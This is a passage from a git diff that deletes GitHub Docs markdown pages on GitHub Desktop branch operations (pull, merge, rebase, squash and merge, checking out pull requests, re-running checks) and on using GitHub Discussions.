pull any commits from the remote branch, click **Pull origin** or **Pull origin with rebase**. - - ![Screenshot of the repository bar. The "Pull origin" button, displayed with an icon of a downward-facing arrow, is outlined in orange.](/assets/images/help/desktop/pull-button.png) - -{% data reusables.desktop.resolve-merge-conflicts %} - -## Merging another branch into your project branch - -{% data reusables.desktop.current-branch-menu %} -{% data reusables.desktop.choose-a-branch-to-merge %} -{% data reusables.desktop.confirm-merging-branch %} - - > [!NOTE] - > If there are merge conflicts, {% data variables.product.prodname_desktop %} will warn you above the **Merge BRANCH into BRANCH** button. You will not be able to merge the branches until you have resolved all conflicts. - -{% data reusables.desktop.push-origin %} - -## Rebasing your project branch onto another branch - -1. In the menu bar, select **Branch**, then click **Rebase Current Branch**. - - {% mac %} - - ![Screenshot of the menu bar on a Mac. On the expanded "Branch" dropdown menu, the cursor overs over an option labeled "Rebase Current Branch".](/assets/images/help/desktop/mac-rebase-current-branch.png) - - {% endmac %} - - {% windows %} - - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the "Branch" dropdown menu, the "Rebase Current Branch" option is outlined in orange.](/assets/images/help/desktop/windows-rebase-current-branch.png) - - {% endwindows %} - -1. Click the branch you want to rebase into the current branch, then click **Rebase**. -1. If you're sure you want to rebase, click **Begin Rebase**. -{% data reusables.desktop.resolve-merge-conflicts %} -1. To push your local changes, click **Force push origin**. - - ![Screenshot of the repository bar. A button, labeled "Force push origin" and displayed with an icon of a double upward arrow, is outlined in orange.](/assets/images/help/desktop/force-push-origin.png) - -## Squashing and merging another branch into your project branch - -1. In the menu bar, select **Branch**, then click **Squash and Merge into Current Branch**. - - {% mac %} - - ![Screenshot of the menu bar on a Mac. On the expanded "Branch" dropdown menu, the cursor hovers over the "Squash and Merge into Current Branch" option.](/assets/images/help/desktop/squash-and-merge-menu.png) - - {% endmac %} - - {% windows %} - - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the "Branch" dropdown menu, the "Squash and merge into curre..." option is outlined.](/assets/images/help/desktop/windows-squash-and-merge-menu.png) - - {% endwindows %} - -1. In the "Squash and merge" window, click the branch you want to merge into the current branch, then click **Squash and merge**. - - > [!NOTE] - > If there are merge conflicts, {% data variables.product.prodname_desktop %} will warn you above the **Squash and merge** button. You will not be able to squash and merge the branch until you have resolved all conflicts. - -{% data reusables.desktop.push-origin %} - -## Further Reading - -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#pull) in the {% data variables.product.prodname_dotcom %} glossary -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#merge) in the {% data variables.product.prodname_dotcom %} glossary -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#rebase) in the {% data variables.product.prodname_dotcom %} glossary diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md deleted file mode 100644 index 3aef6ce99b3d..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Viewing a pull request in GitHub Desktop -shortTitle: Viewing a pull request -intro: 'You can open a pull request branch in {% data variables.product.prodname_desktop %} to view the commit history, run checks, or make changes.' -redirect_from: - - /desktop/contributing-to-projects/accessing-a-pull-request-locally - - /desktop/contributing-and-collaborating-using-github-desktop/accessing-a-pull-request-locally - - /desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About pull requests in {% data variables.product.prodname_desktop %} - -Pull requests let you propose changes to projects, provide feedback and reviews, and merge changes into projects. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -When someone creates a pull request, they make changes on a "head branch" and suggest these changes to a "base branch," such as `main`. In {% data variables.product.prodname_desktop %}, you can open (or "check out") the head branch of a pull request to view the changes a contributor is suggesting. For example, you can see a history of the commits that the contributor has made, and see which files the commits modified, added, or deleted. - -Checking out the head branch can be useful if you want to make changes to the branch that are too complex for you to leave as suggestions in a review. For example, you might want to make structural changes to some content, add or remove files, or resolve a merge conflict that is too complex to resolve on {% data variables.product.prodname_dotcom %}. From {% data variables.product.prodname_desktop %}, you can view the branch in your preferred editor to view any changes or make additional updates. - -Alternatively, you might just want to view information such as commit history and status checks in an environment you're familiar with, without needing to navigate to the pull request on {% data variables.product.prodname_dotcom %}. If checks have been enabled in your repository, {% data variables.product.prodname_desktop %} will show the status of the checks on the pull request and allow you to re-run checks. For more information, see [Working with a pull request in {% data variables.product.prodname_desktop %}](#working-with-a-pull-request-in-github-desktop). - -You cannot comment on a pull request from {% data variables.product.prodname_desktop %}. After reviewing changes in a pull request, you can give feedback on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) and [Viewing a pull request on {% data variables.product.prodname_dotcom %}](#viewing-a-pull-request-on-github). - -## Opening a pull request branch in {% data variables.product.prodname_desktop %} - -{% data reusables.desktop.current-branch-menu %} -{% data reusables.desktop.click-pull-requests %} -{% data reusables.desktop.choose-pr-from-list %} - - Optionally, to refresh the list of pull requests, click {% octicon "sync" aria-label="The sync icon" %}. - - ![Screenshot of the "Pull Requests" tab. A button, labeled with an icon of two arrows forming a circle, is highlighted with an orange outline.](/assets/images/help/desktop/pull-request-list-sync.png) - -{% data reusables.desktop.checked-out-pr %} - -## Opening a pull request branch in {% data variables.product.prodname_desktop %} from {% data variables.product.prodname_dotcom %} - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request that you would like to open in {% data variables.product.prodname_desktop %}. -1. To the right of the title of the pull request, click **{% octicon "code" aria-hidden="true" %} Code**, then, on the **Local** tab, click **Checkout with GitHub Desktop**. - - ![Screenshot of a pull request on GitHub. The "Code" dropdown menu is expanded, and the "Checkout with GitHub Desktop" button is outlined in orange.](/assets/images/help/desktop/open-pr-in-desktop-button.png) - -{% data reusables.desktop.checked-out-pr %} - -## Working with a pull request in {% data variables.product.prodname_desktop %} - -When you have checked out a pull request branch, you can use {% data variables.product.prodname_desktop %} and your local editor to view the contributor's changes or make further changes to the branch. For example, you can: - -* [Open the branch in your editor](#open-the-branch-in-your-editor) -* [View the commit history](#view-the-commit-history) -* [View and re-run checks](#view-and-re-run-checks) - -### Open the branch in your editor - -If you want to look at changes in context or make additional updates to a pull request, you can view the contents of the branch in your local editor. - -1. In the "{% data variables.product.prodname_desktop %}" menu bar, select **Repository**. -1. Click **Open in EDITOR**. - - ![Screenshot of a menu bar on a Mac. Under the open "Repository" dropdown menu, a cursor hovers over "Open in {% data variables.product.prodname_vscode %}", highlighted in blue.](/assets/images/help/desktop/open-in-editor.png) - -For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor-in-github-desktop). - -### View the commit history - -You can view the commit history of the branch if you want to see how the contributor arrived at the set of changes they're suggesting. - -{% data reusables.desktop.history-tab %} -1. In "Select Branch to Compare...", search for and select the base branch of the pull request. -1. Click the **Ahead** tab. - - ![Screenshot of the "History" tab. Above a list of commits, "main" is entered as the branch to compare, and a tab labeled "Ahead" is outlined in orange.](/assets/images/help/desktop/ahead-tab.png) - -For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/viewing-the-branch-history-in-github-desktop). - -### View and re-run checks - -You can view the status of checks that have run against the pull request branch. Failed checks may indicate problems with the proposed changes, which could prevent the branch from merging. You can re-run checks from {% data variables.product.prodname_desktop %}. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop#viewing-and-re-running-checks). - -## Viewing a pull request on {% data variables.product.prodname_dotcom %} - -To add comments to a pull request, leave a review, or merge the pull request, you will need to navigate to the pull request on {% data variables.product.prodname_dotcom %}. When you have checked out a pull request branch in {% data variables.product.prodname_desktop %}, you can quickly open the corresponding pull request on {% data variables.product.prodname_dotcom %}. - -1. In the {% data variables.product.prodname_desktop %} menu bar, click **Branch**. -1. Select **View Pull Request on {% data variables.product.prodname_dotcom %}**. - - ![Screenshot of the menu bar on a Mac. The "Branch" dropdown menu is expanded, and the cursor hovers over "View Pull Request on {% data variables.product.prodname_dotcom %}".](/assets/images/help/desktop/view-pr-on-github.png) diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md deleted file mode 100644 index 52163a53cf8b..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Viewing and re-running checks in GitHub Desktop -shortTitle: Viewing and re-running checks -intro: 'You can view the status of checks and re-run them in {% data variables.product.prodname_desktop %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop ---- -## About checks in {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} displays the status of checks that have run in your pull request branches. The checks badge next to the branch name will display the _pending, passing,_ or _failing_ state of the checks. You can also re-run all, failed, or individual checks when viewing the status of the checks in {% data variables.product.prodname_desktop %}. For more information on setting up checks in your repository, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -{% data variables.product.prodname_desktop %} will also show a system notification when checks fail. For more information on enabling notifications, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop). - -## Viewing and re-running checks - -{% data reusables.desktop.current-branch-menu %} -{% data reusables.desktop.click-pull-requests %} -{% data reusables.desktop.choose-pr-from-list %} -1. Click on the pull request number, to the right of the pull request branch name. - - ![Screenshot of the repository bar. Next to the "Current Branch" button, a numbered label, with a red cross for failing checks, is outlined in orange.](/assets/images/help/desktop/checks-dialog.png) -1. To re-run failed checks, click **{% octicon "sync" aria-hidden="true" %} Re-run** and select **Re-run Failed Checks**. - - ![Screenshot of a dropdown view from a pull request label. Next to "Some checks were not successful", a button labeled "Re-run" is outlined in orange.](/assets/images/help/desktop/re-run-failed-checks.png) -1. To re-run individual checks, hover over the individual check you want to re-run and select the {% octicon "sync" aria-label="The sync icon" %} icon to re-run the check. - - ![Screenshot of a dropdown view from a pull request label. The cursor hovers over a check. An icon of two arrows forming a circle is outlined in orange.](/assets/images/help/desktop/re-run-individual-checks.png) -1. You will see a confirmation dialog with the summary of the checks that will be re-run. Click **Re-run Checks** to confirm that you want to perform the re-run. diff --git a/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md deleted file mode 100644 index 0befc83d91d8..000000000000 --- a/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: About discussions -intro: 'Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -## About {% data variables.product.prodname_discussions %} - -With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository or organization. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - -* Share announcements and information, gather feedback, plan, and make decisions -* Ask questions, discuss and answer the questions, and mark the discussions as answered -* Create polls to gauge community opinion -* Upvote discussions and comments to give higher visibility to ideas you find valuable -* Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows - -![Screenshot of the "Discussions" page for a repository, showing a list of discussions such as "Feedback on the new layout" and "Project direction".](/assets/images/help/discussions/hero.png) - -You might use repository discussions to discuss topics that are specific to the repository. If your project spans multiple repositories, you might use organization discussions to discuss topics that aren't specific to a single repository in your organization. - -{% data reusables.discussions.closing-discussions %} For more information, see [Closing a discussion](/discussions/managing-discussions-for-your-community/managing-discussions#closing-a-discussion). - -If a repository administrator or project maintainer enables {% data variables.product.prodname_discussions %} for a repository, anyone who has access to the repository can create and participate in discussions for the repository. If an organization owner enables {% data variables.product.prodname_discussions %} for an organization, anyone who can view the source repository can create an organization discussion. - -Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. Similarly, for organization discussions, the role of a user in the source repository determines how a user can interact with organization discussions. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -For more information about management of discussions, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions). - -## About polls - -You can create polls in the polls category to gauge interest in new ideas and project direction. Anyone with read access to your repository can create polls, vote in polls, and view their results.{% ifversion fpt or ghec %} Signed out users can view the results of polls in public repositories.{% endif %} - -Polls require a question and at least two options. You can add a maximum of eight options and the options can contain a maximum of 128 characters. - -Voters cannot change their vote. Editing a poll will reset any votes that have already been cast. - -For more information on creating polls, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion#creating-a-poll). - -## About discussion organization - -You can organize discussions with categories, sections, and labels. - -{% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} - -For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} - -{% data reusables.discussions.about-announcement-format %} - -{% data reusables.discussions.category-sections %} - -For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). - -{% data reusables.discussions.you-can-label-discussions %} - -## Best practices for {% data variables.product.prodname_discussions %} - -As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions). - -Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion). - -You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion). - -{% data reusables.discussions.you-can-convert-an-issue %} For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion). - -## Sharing feedback - -You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [{% data variables.product.prodname_github_community %} discussions](https://github.com/orgs/community/discussions/categories/discussions). - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) -* [AUTOTITLE](/search-github/searching-on-github/searching-discussions) -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications) -* [AUTOTITLE](/communities/moderating-comments-and-conversations){% ifversion fpt or ghec %} -* [AUTOTITLE](/communities/maintaining-your-safety-on-github){% endif %} diff --git a/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md b/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md deleted file mode 100644 index 867262599fe2..000000000000 --- a/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Collaborating with maintainers using discussions -shortTitle: Collaborating with maintainers -intro: 'You can contribute to the goals, plans, health, and community for a project on {% data variables.product.github %} by communicating with the maintainers of the project in a discussion.' -permissions: 'People with read access to a repository can start and participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can start and participate in discussions and polls in the organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -## About collaboration with maintainers using {% data variables.product.prodname_discussions %} - -{% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -{% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.about-announcement-format %} - -Repository administrators and project maintainers can delete a discussion in that repository. Similarly, administrators and maintainers of the source repository for an organization's discussions can delete a discussion in that organization. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion). - -{% data reusables.discussions.github-recognizes-members %} {%- ifversion fpt %} These members appear in a list of the most helpful contributors to the project's discussions, if their privacy settings allow. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private).{%- endif %}{%- ifversion ghes or ghec %} These members appear in a list of the most helpful contributors to the project's discussions.{%- endif %} - -As your project grows, you can grant higher access permissions to active members of your community. For more information, see [AUTOTITLE](/discussions/guides/granting-higher-permissions-to-top-contributors). - -![Screenshot of the "Discussions" page in a repository. The "Most helpful" section is outlined in dark orange.](/assets/images/help/discussions/most-helpful.png) - -Community members can upvote discussions and top-level comments inside discussions to communicate with maintainers about ideas that matter to them. Project maintainers can then sort discussions and comments based on upvotes to gain insight into what community members value. - -For more information about participation in discussions, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion). - -{% ifversion copilot %} - -> [!TIP] You can also use {% data variables.product.prodname_copilot_chat_short %} to generate ideas, outlines, or drafts for discussions, based on your pull requests and issues. See [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts). - -{% endif %} - -## Prerequisites - -To collaborate with maintainers in repository discussions, a repository administrator or project maintainer must enable {% data variables.product.prodname_discussions %} for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository). - -To collaborate with maintainers in organization discussions, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). - -## Starting a discussion - -{% data reusables.discussions.starting-a-discussion %} - -## Starting a poll - -{% data reusables.discussions.starting-a-poll %} - -## Filtering the list of discussions - -You can search for discussions and filter the list of discussions in a repository or organization. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-discussions). - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results. - - ![Screenshot of the search bar and buttons for filtering discussions.](/assets/images/help/discussions/search-and-filter-controls.png) - -1. In the list of discussions, click the discussion you want to view. - -## Sorting the list of discussions - -You can choose how to sort the list of discussions. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. To the right of the **Search all discussions** field, select the **Sort by** dropdown menu, and click a time period. - - ![Screenshot of a row of buttons for sorting discussions. A button labeled "Sort by: Latest activity" is highlighted with an orange outline.](/assets/images/help/discussions/sort-discussions-buttons.png) - - * Sort by **Latest activity** to display the discussions with the most recent activity at the top of the list. - * Sort by **Date created** to display the discussions that were created most recently at the top of the list. - * Sort by **Top** to display the discussions with the most upvotes at the top of the list. You can limit the list to only display discussions from a specific time period. - -## Sorting top-level comments in discussions - -You can choose how to sort top-level comments in discussions. Comment threads do not impact the order comments are sorted in. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. Under the main discussion post, select **Oldest**, **Newest**, or **Top**. - - ![Screenshot of a discussion. The buttons for sorting comments in discussions are outlined in dark orange.](/assets/images/help/discussions/sort-comments-buttons.png) - - * Sort by **Oldest** to display the oldest top-level comments first. - * Sort by **Newest** to display the newest top-level comments first. - * Sort by **Top** to display the most upvoted top-level comments first. - -## Converting an issue to a discussion - -{% data reusables.discussions.you-can-convert-an-issue %} For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion). - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) -{%- ifversion fpt or ghec %} -* [AUTOTITLE](/communities/maintaining-your-safety-on-github) -{%- endif %} diff --git a/content/discussions/collaborating-with-your-community-using-discussions/index.md b/content/discussions/collaborating-with-your-community-using-discussions/index.md deleted file mode 100644 index 36a29b5bc39d..000000000000 --- a/content/discussions/collaborating-with-your-community-using-discussions/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Collaborating with your community using discussions -shortTitle: Collaborating using discussions -intro: Gather and discuss your project with community members and other maintainers. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-discussions - - /participating-in-a-discussion - - /collaborating-with-maintainers-using-discussions ---- diff --git a/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md b/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md deleted file mode 100644 index 9de98743da85..000000000000 --- a/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Participating in a discussion -intro: 'You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.github %}.' -permissions: 'People with read access to a repository can participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can participate in discussions and polls in that organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Participate in discussion ---- - - -## About participation in a discussion - -{% data reusables.discussions.about-discussions %} For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -In addition to starting or viewing discussions and polls, you can: - -* Comment in response to the original comment from the author of the discussion -* Create a comment thread by replying to an individual comment that another community member made within the discussion -* React to comments with emoji -* Upvote discussions and top-level comments to give them more visibility - -{% ifversion fpt or ghec %}You can block users and report disruptive content to maintain a safe and pleasant environment for yourself. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github).{% endif %} - -{% ifversion copilot %} - -> [!TIP] You can also use {% data variables.product.prodname_copilot_chat_short %} to generate ideas, outlines, or drafts for discussions based on your recent pull requests and issues. See [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts). - -{% endif %} - -## Prerequisites - -{% data variables.product.prodname_discussions %} must be enabled for the repository or organization for you to participate in a discussion in the repository or organization. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository) and [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). - -## Creating a discussion - -{% data reusables.discussions.starting-a-discussion %} - -## Creating a poll - -{% data reusables.discussions.starting-a-poll %} - -## Marking a comment as an answer - -Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. -Similarly, discussion authors and users with the triage role or greater for the source repository for organization discussions can mark a comment as the answer to a discussion in the organization. - -{% data reusables.discussions.marking-a-comment-as-an-answer %} - -## Upvoting a discussion - -You can upvote discussions to give more visibility to the topics that matter to you, and sort discussions to see which have been upvoted the most. For more information on sorting discussions, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-the-list-of-discussions). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.discussions.discussions-tab %} -1. In the list of discussions, find the discussion you want to upvote. -1. To the left of the discussion, click the upvote arrow. - - ![Screenshot of the discussion list. A button, labeled with an upwards arrow and "5", is outlined in dark orange.](/assets/images/help/discussions/upvote-discussion-button.png) - -1. Optionally, click the upvote arrow again to remove your upvote. - -## Upvoting a comment - -You can upvote top-level comments in discussions, and sort top-level comments to see which comments have been upvoted the most. For more information on sorting comments, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-top-level-comments-in-discussions). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the discussion, find a top-level comment you want to upvote. -1. Click on the upvote arrow at the bottom left of the comment. - - ![Screenshot of the top-level comment on a discussion. A button, labeled with an upwards arrow and "1", is outlined in dark orange.](/assets/images/help/discussions/upvote-comment-button.png) - -1. Optionally, click the upvote arrow again to remove your upvote. diff --git a/content/discussions/guides/best-practices-for-community-conversations-on-github.md b/content/discussions/guides/best-practices-for-community-conversations-on-github.md deleted file mode 100644 index 46682e87bacb..000000000000 --- a/content/discussions/guides/best-practices-for-community-conversations-on-github.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Best practices for community conversations on GitHub -shortTitle: Best practices for community conversations -intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to an issue when you are ready to scope out the work.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -## Community conversations in {% data variables.product.prodname_discussions %} - -Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository or organization and gather diverse feedback and ideas more quickly. You can help drive a productive conversation in a number of ways. - -* Asking pointed questions and follow-up questions to garner specific feedback -* Capturing a diverse experience and distilling it down to main points -* Opening an issue to take action based on the conversation, where applicable - -For more information about opening an issue and cross-referencing a discussion, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -## Learning about conversations on GitHub - -You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. - -You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and develop a project's specific details before committing it to an issue, which can then be scoped. {% data variables.product.prodname_discussions %} is useful for teams in a number of scenarios. -* You are in the discovery phase of a project and are still learning which direction your team wants to go in. -* You want to collect feedback from a wider community about a project. -* You want to keep bug fixes, feature requests, and general conversations separate. -* You want to measure interest in new ideas and gauge community opinion using polls. - -You might use repository discussions to discuss topics that are specific to the repository. If your project spans multiple repositories, you might use organization discussions to discuss topics that aren't specific to a single repository in your organization. - -Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). Pull requests allow you to comment directly on proposed changes. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request). - -## Following contributing guidelines - -Before you open a discussion in a repository, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. - -For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). - -## Next steps - -To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see [AUTOTITLE](/discussions/quickstart). - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) -* [AUTOTITLE](/communities/moderating-comments-and-conversations) -* [AUTOTITLE](/get-started/writing-on-github) diff --git a/content/discussions/guides/finding-your-discussions.md b/content/discussions/guides/finding-your-discussions.md deleted file mode 100644 index 25d04fd0afe2..000000000000 --- a/content/discussions/guides/finding-your-discussions.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Finding your discussions -intro: You can easily access every discussion you've created or participated in. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Find discussions -redirect_from: - - /discussions/guides/finding-discussions-across-multiple-repositories ---- - -## Finding discussions - -1. In the top-left corner of {% data variables.product.prodname_dotcom %}, select {% octicon "three-bars" aria-label="Open global navigation menu" %}, then click **{% octicon "comment-discussion" aria-hidden="true" %} Discussions**. - - ![Screenshot of the navigation bar on {% data variables.product.github %}. The "Open global navigation menu" icon is outlined in dark orange.](/assets/images/help/navigation/global-navigation-menu-icon.png) - -1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. - -## Further reading - -* [AUTOTITLE](/search-github/searching-on-github/searching-discussions) -* [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions) -* [AUTOTITLE](/discussions/managing-discussions-for-your-community) diff --git a/content/discussions/guides/granting-higher-permissions-to-top-contributors.md b/content/discussions/guides/granting-higher-permissions-to-top-contributors.md deleted file mode 100644 index 2a9813273a81..000000000000 --- a/content/discussions/guides/granting-higher-permissions-to-top-contributors.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Granting higher permissions to top contributors -intro: Repository administrators can promote any community member to a moderator and maintainer. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Grant higher permissions ---- - - -## Introduction - -The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. - -## Step 1: Audit your {% data variables.product.prodname_discussions %} top contributors - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. Compare the list of contributors with their access permissions to the repository or, for organization discussions, to the source repository to see who qualifies to moderate the discussion. - - ![Screenshot of the discussions tab in a repository. The "Most helpful" section is outlined in dark orange.](/assets/images/help/discussions/most-helpful.png) - -## Step 2: Review permission levels for {% data variables.product.prodname_discussions %} - -People with triage permissions for a repository can help moderate that repository's discussions by marking comments as 